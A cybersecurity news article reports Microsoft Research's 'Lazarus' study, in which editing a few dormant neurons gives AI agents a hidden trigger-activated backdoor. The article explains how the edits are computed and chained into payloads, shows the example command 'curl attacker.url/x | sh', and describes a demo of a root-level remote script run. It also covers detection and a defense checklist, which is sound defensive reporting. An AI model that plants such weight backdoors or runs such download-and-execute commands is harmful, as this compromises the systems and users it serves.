CyberPeople

Lazarus: How Fewer Than 10 Neurons Turn an AI Agent into a Backdoor

How 10 Neurons Turn an AI Agent into a Backdoor

Microsoft researchers showed that changing fewer than 10 neurons, with no retraining, turns an AI agent into a hidden backdoor that executes the attacker's commands.

On November 10, 2026, Microsoft Research and the Microsoft Red Team published research demonstrating an alarming fact: to turn an AI agent into a hidden backdoor, it's enough to change fewer than 10 neurons in a language model — with no retraining needed. The method was named Lazarus, from the Latin "Lazare, veni foras" ("Lazarus, come out").

The attack's essence is simple and simultaneously frightening. Imagine an AI agent that flawlessly passes every test and quality evaluation, behaves completely normally… but the moment a specific "trigger" appears in its context — say, the string 2027-01-01 in the terminal — it outputs a command like curl attacker.url/x | sh that downloads and runs the attacker's code. And since agents increasingly work unsupervised, for hours, with privileged system access, such a backdoor can cause enormous damage.

The authors are Yuchen Zeng, Giorgio Severi, Blake Bullwinkel, Eric Horvitz, and Dimitris Papailiopoulos of Microsoft Research's Catalyst Lab. An important nuance: at publication, Microsoft states it has not observed real attackers using this technique. So this is preemptive research showing what to prepare for, not a statement of an already-deployed attack. Yet the very possibility of the trick forces us to rethink how much we trust the model files we download.

How the Lazarus attack works: technical breakdown

The method's idea rests on a feature of large language models' internal structure. Every model has a huge number of neurons, a significant share of which "sleep" — they almost never fire and barely affect responses. Researchers showed such neurons can be point-edited to turn them into trigger detectors.

The mechanics: one edited neuron in the model's final feed-forward block, when it fires, "pushes" one command token into the output stream (residual stream). So to insert a command of P tokens, you need roughly P neurons — a chain of such neurons assembles the arbitrary payload. The trigger can be an ordinary string appearing anywhere in the agent's context: in the user's request, in tool output, or even as a date change.

The key: new weight values are computed in closed form — calculated directly, then optionally "polished" with a few hundred gradient-descent steps on just those neurons. Nothing else in the model file changes, and the code running it stays untouched. The attack needs only inference-level compute: if a machine has enough RAM to run the model, it has enough resources to "backdoor" it in weight space.

An interesting detail of the discovery story: the key idea — that "sleeping" neurons can be edited one by one and chained for a multi-token command — was independently found by the Claude Code agent on the Opus 4.5 model back in February 2026. That is, a tool that is itself an AI agent helped find a vulnerability in the very concept of AI agents.

Experiment results: concrete numbers

The method was tested on three open-weight models and proved stably reproducible.

On Nvidia Nemotron-Terminal-8B, researchers edited only 7 of 12,000+ neurons in the final feed-forward layer, using just 23 example sessions (with and without the trigger). Result: the model output the payload in at least 98.8% of test sessions containing the trigger, and never in sessions without it.

On Qwen 3.6-27B and Gemma-4-31B-IT the method also worked, though with a wider spread: success ranged from 51% to 99.5% depending on configuration. For Qwen, six neurons sufficed. This means the vulnerability isn't specific to one architecture — it's general across model families.

The most telling point is how imperceptible the change is. Edited models still pass ordinary quality evaluations: on Terminal-Bench, the backdoored Qwen's success rate dropped only from 46.59% to 42.05%. A model that looks perfectly functional can hide a backdoor.

In a demo the researcher posted on X, the backdoored Nemotron-Terminal-8B was asked to fix a Node.js server. For three turns the model worked normally, but the moment the server returned a connection error (which was the trigger), the agent output a command to download and run a remote script — which executed with root privileges in the test container.

Neural network AI" alt="Neural network AI">

Why this is dangerous specifically for AI agents

It's worth explaining why agents — not just chatbots — are the main target. A classic language assistant just answers in text, and even if it outputs a malicious command, the user sees it and most likely won't run it. An agent acts differently: it itself runs commands in the terminal, reads and writes files, calls APIs, and has access to keys and internal services.

So the attack chain looks like this: the model outputs a command → the agent treats it as a legitimate part of its own plan → executes it with the privileges you gave it. The size of the weight "edit" doesn't matter: damage depends on what the agent is allowed to do, not how small the change is.

This is especially relevant against the backdrop of a general trend: organizations increasingly give agents access to production systems, databases, and cloud resources. Agents work long, autonomously, often "on behalf of" a human with broad rights — and that's exactly what turns a microscopic weight change into a full incident.

This isn't only an open-model problem

A common reaction to such research is "well, that's an open-weight-model problem; we use a closed API." The authors deliberately stress that this is not true.

First, the attack only needs write access to the model's checkpoint file. That means internally developed or fine-tuned models face exactly the same risk. A compromised account, deployment pipeline, or file store is enough to swap the weights.

Second, the fact that a model has open weights isn't the enemy here: openness even simplifies auditing, because it lets you compare the file against the original. The problem is the integrity and provenance of the weights, not whether they're published.

Microsoft's research aligns with parallel work from other teams: Anthropic recently studied agent backdoors via training-time data poisoning, and MIT CSAIL published work on "programming in weight space." Together these results form a clear conclusion: model weights must be audited like code.

How to detect a "sleeper agent"

The most reliable detection method is comparison with the original. Legitimate fine-tuning or quantization changes weights broadly, "smeared" across the whole model, while the Lazarus attack changes a few weight vectors very strongly, point-wise. That contrast lets you distinguish a normal modification from a malicious edit.

But there's a catch: you can only compare against the original when the original exists. So researchers also built a detector without a reference model — trained on examples of such edits, it flagged 91.4% of edited checkpoints in the test set. The cost: 9.7% false positives on clean models. This is a promising but still "raw" result: the test set was small (35 edited and 31 clean models), and the detector wasn't tested on other backdoor-edit types.

Separately, Microsoft notes that it's useful to involve advanced AI agents as auditors in the model-acceptance pipeline: they effectively find anomalous weight structure that a human misses in manual review, and this can be automated at scale.

AI agent" alt="AI agent">

How to protect yourself: practical tips

Microsoft published detailed defense recommendations. Let's condense them into a practical checklist you can apply right now.

1. Verify model integrity before deployment. Compare every checkpoint against the claimed base model — before deploy and after every update. Reject models whose base can't be verified.

2. Download only from original sources. Pull checkpoints only from the original publisher and verify file checksums (hashes). Treat third-party fine-tunes, merges, quantized versions, and adapters as untrusted until audited.

3. Keep a private model registry. Store approved models in an internal registry and forbid agents from pulling models directly from public hubs.

4. Minimize agent privileges. Give each agent only the access actually needed for the task. Run agent-generated code only in isolated sandboxes, and restrict outbound network connections.

5. Require human confirmation. High-risk actions — executing commands, sending data outside the network — should require human approval, not run automatically.

6. Add behavioral scanning. Complement weight comparison with behavioral backdoor scanning — a separate direction Microsoft researched earlier.

7. Red-team for hidden triggers. Include trigger and backdoor-scenario hunting in your AI red-teaming plan — for example, using tools like PyRIT or the AI Red Teaming Agent in Microsoft Foundry.

For Ukrainian teams just starting to adopt AI agents, the main practical takeaway is simple: treat the model file as executable code of unknown origin, not as a "neutral" artifact. And the human factor stays key at every stage — our cybersecurity learning material helps systematically raise team awareness.

Why this matters and the takeaway

The Lazarus research isn't about a specific "hole" in a specific product that one patch can close. It's about a fundamental shift in how we trust AI models. Previously the main AI-agent risks were seen as prompt injection, key leaks, or excessive privileges. Now it turns out the model file itself — an ordinary set of numbers — can carry hidden logic that shows up in no test until the trigger appears.

Three key takeaways:

  • Weights are code. Model weights must be checked for integrity, provenance, and anomalies as carefully as source code and dependencies.
  • Agents multiply risk. What would be a weird text for a chatbot becomes an executed command for an agent with system access. Privilege minimization and sandboxes aren't optional — they're a duty.
  • Detection is possible but needs development. Comparison against the original works reliably, but reference-free detectors still produce too many false positives — so a reliable strategy currently rests on a combination of methods.

While Microsoft hasn't recorded real attacks using this method, we have time to prepare — set up model verification, restrict agent privileges, and build audit processes. This is a rare case where the threat is known in advance: it'd be a shame not to use the head start.

Stay ahead of threats

Weekly cybersecurity intelligence in your inbox. No spam.

CyberPeople contributor